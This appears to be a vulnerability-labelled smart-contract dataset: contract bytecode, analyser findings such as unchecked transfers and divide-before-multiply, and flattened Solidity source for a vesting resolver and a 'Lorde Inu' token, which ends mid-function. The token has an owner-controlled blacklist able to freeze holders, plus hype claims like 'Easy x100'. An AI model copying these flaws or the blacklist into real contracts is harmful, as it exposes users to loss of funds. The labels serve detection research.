0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80639852595c116100715780639852595c14610139578063a3f8eace1461015f578063a9059cbb14610185578063b6c238b5146101b1578063fc0c546a146101d7578063fd536f5d146101fb576100b4565b80634e71d92d146100b9578063766e33f4146100c35780637e1c0c09146100dd5780638033fe49146100e557806386a1da9c146100ed5780638988504914610113575b600080fd5b6100c16102de565b005b6100cb6104f9565b60408051918252519081900360200190f35b6100cb6104ff565b6100cb610505565b6100cb6004803603602081101561010357600080fd5b50356001600160a01b031661050b565b6100cb6004803603602081101561012957600080fd5b50356001600160a01b031661051d565b6100cb6004803603602081101561014f57600080fd5b50356001600160a01b0316610552565b6100cb6004803603602081101561017557600080fd5b50356001600160a01b0316610564565b6100c16004803603604081101561019b57600080fd5b506001600160a01b03813516906020013561060e565b6100cb600480360360208110156101c757600080fd5b50356001600160a01b031661084e565b6101df610860565b604080516001600160a01b039092168252519081900360200190f35b6100c1600480360360c081101561021157600080fd5b6001600160a01b038235169160208101359160408201359160608101359181019060a08101608082013564010000000081111561024d57600080fd5b82018360208201111561025f57600080fd5b8035906020019184602083028401116401000000008311171561028157600080fd5b91939092909160208101903564010000000081111561029f57600080fd5b8201836020820111156102b157600080fd5b803590602001918460208302840111640100000000831117156102d357600080fd5b50909250905061086f565b6002543390421015610337576040805162461bcd60e51b815260206004820152601760248201527f52656c6561736520686173206e6f742073746172746564000000000000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526005602052604090205415158061037457506001600160a01b03811660009081526006602052604090205415155b6103af5760405162461bcd60e51b8152600401808060200182810382526037815260200180610b966037913960400191505060405180910390fd5b60006103ba82610564565b6001600160a01b0383166000908152600560205260409020549091506103e09082610af1565b6001600160a01b03831660009081526005602090815260408083209390935560069052908120546104119083610b0b565b6001600160a01b03808516600081815260066020908152604080832083905560048083528184204290558354825163a9059cbb60e01b815291820195909552602481018790529051959650929093169363a9059cbb936044808501949193918390030190829087803b15801561048657600080fd5b505af115801561049a573d6000803e3d6000fd5b505050506040513d60208110156104b057600080fd5b50506040805182815242602082015281516001600160a01b038616927f987d620f307ff6b94d58743cb7a7509f24071586a77759b77c2d4e29f75a2f9a928290030190a2505050565b60025481565b60015481565b60035481565b60056020526000908152604090205481565b600061054a61052b83610564565b6001600160a01b03841660009081526006602052604090205490610b0b565b90505b919050565b60066020526000908152604090205481565b60006002544210156105785750600061054d565b600060035442101561058a574261058e565b6003545b6001600160a01b038416600090815260046020526040902054600354919250610607916105ba91610af1565b6001600160a01b038516600090815260046020526040902054610601906105e2908590610af1565b6001600160a01b03871660009081526005602052604090205490610b1d565b90610b44565b9392505050565b6001600160a01b03821633141561066c576040805162461bcd60e51b815260206004820152601d60248201527f4d6179206e6f74207472616e7366657220746f20796f757273656c662e000000604482015290519081900360640190fd5b61068e61067833610564565b3360009081526006602052604090205490610b0b565b336000908152600660205260409020556106aa61052b83610564565b6001600160a01b0383166000908152600660205260409020556106e56106cf33610564565b3360009081526005602052604090205490610af1565b3360009081526005602052604090205561072061070183610564565b6001600160a01b03841660009081526005602052604090205490610af1565b6001600160a01b03831660008181526005602081815260408084209590955533808452600482528584204290819055948452858420949094559282529091529081205461077583670de0b6b3a7640000610b1d565b116107915761078c82670de0b6b3a7640000610b1d565b6107a2565b336000908152600560205260409020545b336000908152600560205260409020549091506107bf9082610af1565b33600090815260056020526040808220929092556001600160a01b038516815220546107eb9082610b0b565b6001600160a01b03841660008181526005602090815260409182902093909355805184815242938101939093528051919233927f9ed053bb818ff08b8353cd46f78db1f0799f31c9e4458fdb425c10eccd2efc44929181900390910190a3505050565b60046020526000908152604090205481565b6000546001600160a01b031681565b600354156108c4576040805162461bcd60e51b815260206004820181905260248201527f436f6e747261637420697320616c726561647920696e697469616c697a65642e604482015290519081900360640190fd5b828114610918576040805162461bcd60e51b815260206004820152601b60248201527f4172726179206c656e6774687320646f206e6f74206d617463682e0000000000604482015290519081900360640190fd5b6109228686610b0b565b6003556002869055600080546001600160a01b0319166001600160a01b038a811691909117808355604080516323b872dd60e01b8152336004820152306024820152604481018c9052905191909216926323b872dd92606480820193602093909283900390910190829087803b15801561099b57600080fd5b505af11580156109af573d6000803e3d6000fd5b505050506040513d60208110156109c557600080fd5b505060018790556000805b84811015610aa557600254600460008888858181106109eb57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b0316815260200190815260200160002081905550838382818110610a2b57fe5b9050602002013560056000888885818110610a4257fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b0316815260200190815260200160002081905550610a9b848483818110610a8557fe5b9050602002013583610b0b90919063ffffffff16565b91506001016109d0565b506001548114610ae65760405162461bcd60e51b815260040180806020018281038252602f815260200180610b67602f913960400191505060405180910390fd5b505050505050505050565b600082821115610b0057600080fd5b508082035b92915050565b60008282018381101561060757600080fd5b600082610b2c57506000610b05565b82820282848281610b3957fe5b041461060757600080fd5b6000808211610b5257600080fd5b6000828481610b5d57fe5b0494935050505056fe57656967687420646f6573206e6f74206d6174636820746f6b656e73206265696e672064697374726962757465642e5468697320636f6e7472616374206d6179206f6e6c792062652063616c6c656420627920757365727320776974682061207374616b652ea26469706673582212202c0d51dffeeb0ffd423f9f08dc310bb6f828935033ef379b7028cae543f399e464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
256
0xd518f4bf47285f4a91623f0edf0b7d000c84b23e
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ // Sources flattened with hardhat v2.3.0 https://hardhat.org // File @openzeppelin/contracts/math/SafeMath.sol@v3.4.0-solc-0.7 // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File contracts/InstaVestingResolver.sol interface TokenInterface { function balanceOf(address account) external view returns (uint); function delegate(address delegatee) external; function transfer(address dst, uint rawAmount) external returns (bool); } interface InstaVestingInferface { function owner() external view returns(address); function recipient() external view returns(address); function vestingAmount() external view returns(uint256); function vestingBegin() external view returns(uint32); function vestingCliff() external view returns(uint32); function vestingEnd() external view returns(uint32); function lastUpdate() external view returns(uint32); function terminateTime() external view returns(uint32); } interface InstaVestingFactoryInterface { function recipients(address) external view returns(address); } contract InstaTokenVestingResolver { using SafeMath for uint256; TokenInterface public constant token = TokenInterface(0x6f40d4A6237C257fff2dB00FA0510DeEECd303eb); // InstaVestingFactoryInterface public constant factory = InstaVestingFactoryInterface(0x3730D9b06bc23fd2E2F84f1202a7e80815dd054a); InstaVestingFactoryInterface public immutable factory; constructor(address factory_) { factory = InstaVestingFactoryInterface(factory_); } struct VestingData { address recipient; address vesting; address owner; uint256 vestingAmount; uint256 vestingBegin; uint256 vestingCliff; uint256 vestingEnd; uint256 lastClaimed; uint256 terminatedTime; uint256 vestedAmount; uint256 unvestedAmount; uint256 claimedAmount; uint256 claimableAmount; } function getVestingByRecipient(address recipient) external view returns(VestingData memory vestingData) { address vestingAddr = factory.recipients(recipient); return getVesting(vestingAddr); } function getVesting(address vesting) public view returns(VestingData memory vestingData) { if (vesting == address(0)) return vestingData; InstaVestingInferface VestingContract = InstaVestingInferface(vesting); uint256 vestingBegin = uint256(VestingContract.vestingBegin()); uint256 vestingEnd = uint256(VestingContract.vestingEnd()); uint256 vestingCliff = uint256(VestingContract.vestingCliff()); uint256 vestingAmount = VestingContract.vestingAmount(); uint256 lastUpdate = uint256(VestingContract.lastUpdate()); uint256 terminatedTime = uint256(VestingContract.terminateTime()); uint256 claimedAmount; uint256 claimableAmount; uint256 vestedAmount; uint256 unvestedAmount; if (block.timestamp > vestingCliff) { uint256 time = terminatedTime == 0 ? block.timestamp : terminatedTime; time = time > vestingEnd ? vestingEnd : time; vestedAmount = vestingAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin); unvestedAmount = vestingAmount.sub(vestedAmount); claimableAmount = vestingAmount.mul(time - lastUpdate).div(vestingEnd - vestingBegin); claimedAmount = vestedAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin); } vestingData = VestingData({ recipient: VestingContract.recipient(), owner: VestingContract.owner(), vesting: vesting, vestingAmount: vestingAmount, vestingBegin: vestingBegin, vestingCliff: vestingCliff, vestingEnd: vestingEnd, lastClaimed: lastUpdate, terminatedTime: terminatedTime, vestedAmount: vestedAmount, unvestedAmount: unvestedAmount, claimedAmount: claimedAmount, claimableAmount: claimableAmount }); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806367c61b8e14610051578063c45a015514610081578063cc49ede71461009f578063fc0c546a146100cf575b600080fd5b61006b600480360381019061006691906109e4565b6100ed565b6040516100789190610d75565b60405180910390f35b6100896101b3565b6040516100969190610cdf565b60405180910390f35b6100b960048036038101906100b491906109e4565b6101d7565b6040516100c69190610d75565b60405180910390f35b6100d76107b8565b6040516100e49190610cfa565b60405180910390f35b6100f56108e6565b60007f0000000000000000000000003b05a5295aa749d78858e33ece3b97bb3ef4f02973ffffffffffffffffffffffffffffffffffffffff1663eb820312846040518263ffffffff1660e01b81526004016101509190610cc4565b60206040518083038186803b15801561016857600080fd5b505afa15801561017c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101a09190610a0d565b90506101ab816101d7565b915050919050565b7f0000000000000000000000003b05a5295aa749d78858e33ece3b97bb3ef4f02981565b6101df6108e6565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610219576107b3565b600082905060008173ffffffffffffffffffffffffffffffffffffffff1663e29bc68b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561026657600080fd5b505afa15801561027a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061029e9190610a5f565b63ffffffff16905060008273ffffffffffffffffffffffffffffffffffffffff166384a1931f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102ee57600080fd5b505afa158015610302573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103269190610a5f565b63ffffffff16905060008373ffffffffffffffffffffffffffffffffffffffff1663f3640e746040518163ffffffff1660e01b815260040160206040518083038186803b15801561037657600080fd5b505afa15801561038a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ae9190610a5f565b63ffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff1662728f766040518163ffffffff1660e01b815260040160206040518083038186803b1580156103fd57600080fd5b505afa158015610411573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104359190610a36565b905060008573ffffffffffffffffffffffffffffffffffffffff1663c04637116040518163ffffffff1660e01b815260040160206040518083038186803b15801561047f57600080fd5b505afa158015610493573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b79190610a5f565b63ffffffff16905060008673ffffffffffffffffffffffffffffffffffffffff166348f2f1fa6040518163ffffffff1660e01b815260040160206040518083038186803b15801561050757600080fd5b505afa15801561051b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053f9190610a5f565b63ffffffff169050600080600080874211156106115760008086146105645785610566565b425b90508981116105755780610577565b895b90506105a28b8b036105948d84038b6107d090919063ffffffff16565b61084090919063ffffffff16565b92506105b7838961089690919063ffffffff16565b91506105e28b8b036105d48984038b6107d090919063ffffffff16565b61084090919063ffffffff16565b935061060d8b8b036105ff8d8403866107d090919063ffffffff16565b61084090919063ffffffff16565b9450505b604051806101a001604052808c73ffffffffffffffffffffffffffffffffffffffff166366d003ac6040518163ffffffff1660e01b815260040160206040518083038186803b15801561066357600080fd5b505afa158015610677573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069b9190610a0d565b73ffffffffffffffffffffffffffffffffffffffff1681526020018e73ffffffffffffffffffffffffffffffffffffffff1681526020018c73ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561071857600080fd5b505afa15801561072c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107509190610a0d565b73ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018b81526020018981526020018a8152602001878152602001868152602001838152602001828152602001858152602001848152509b5050505050505050505050505b919050565b736f40d4a6237c257fff2db00fa0510deeecd303eb81565b6000808314156107e3576000905061083a565b60008284029050828482816107f457fe5b0414610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90610d55565b60405180910390fd5b809150505b92915050565b6000808211610884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087b90610d35565b60405180910390fd5b81838161088d57fe5b04905092915050565b6000828211156108db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d290610d15565b60405180910390fd5b818303905092915050565b604051806101a00160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60008135905061099f81610e36565b92915050565b6000815190506109b481610e36565b92915050565b6000815190506109c981610e4d565b92915050565b6000815190506109de81610e64565b92915050565b6000602082840312156109f657600080fd5b6000610a0484828501610990565b91505092915050565b600060208284031215610a1f57600080fd5b6000610a2d848285016109a5565b91505092915050565b600060208284031215610a4857600080fd5b6000610a56848285016109ba565b91505092915050565b600060208284031215610a7157600080fd5b6000610a7f848285016109cf565b91505092915050565b610a9181610da2565b82525050565b610aa081610da2565b82525050565b610aaf81610dee565b82525050565b610abe81610e12565b82525050565b6000610ad1601e83610d91565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b6000610b11601a83610d91565b91507f536166654d6174683a206469766973696f6e206279207a65726f0000000000006000830152602082019050919050565b6000610b51602183610d91565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6101a082016000820151610bc16000850182610a88565b506020820151610bd46020850182610a88565b506040820151610be76040850182610a88565b506060820151610bfa6060850182610cb5565b506080820151610c0d6080850182610cb5565b5060a0820151610c2060a0850182610cb5565b5060c0820151610c3360c0850182610cb5565b5060e0820151610c4660e0850182610cb5565b50610100820151610c5b610100850182610cb5565b50610120820151610c70610120850182610cb5565b50610140820151610c85610140850182610cb5565b50610160820151610c9a610160850182610cb5565b50610180820151610caf610180850182610cb5565b50505050565b610cbe81610dd4565b82525050565b6000602082019050610cd96000830184610a97565b92915050565b6000602082019050610cf46000830184610aa6565b92915050565b6000602082019050610d0f6000830184610ab5565b92915050565b60006020820190508181036000830152610d2e81610ac4565b9050919050565b60006020820190508181036000830152610d4e81610b04565b9050919050565b60006020820190508181036000830152610d6e81610b44565b9050919050565b60006101a082019050610d8b6000830184610baa565b92915050565b600082825260208201905092915050565b6000610dad82610db4565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b6000610df982610e00565b9050919050565b6000610e0b82610db4565b9050919050565b6000610e1d82610e24565b9050919050565b6000610e2f82610db4565b9050919050565b610e3f81610da2565b8114610e4a57600080fd5b50565b610e5681610dd4565b8114610e6157600080fd5b50565b610e6d81610dde565b8114610e7857600080fd5b5056fea26469706673582212207a317eb8dae634e56be6da4de43950f194f3e28559b7ae5f0d76e39fae6eae9764736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
257
0xdc0e3da1bedfccdfef3de8fe182b1764e6cc0ed6
/** *$LDINU * * Name token: LORDE INU $LDINU * 100,000,000,000 token supply * Burn : 30% - 30,000,000,000 * Add LP 65% - 65,000,000,000 * Team 2% - 2,000,000,000 * MKT 3% - 3,000,000,000 STEALTH LAUNCH Easy x100 Liquidity pool locked Renounce Contract verified on etherscan */ // Telegram : t.me/LordeInu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LordeInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " Lorde Inu"; string private constant _symbol = " LDINU "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 5); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, 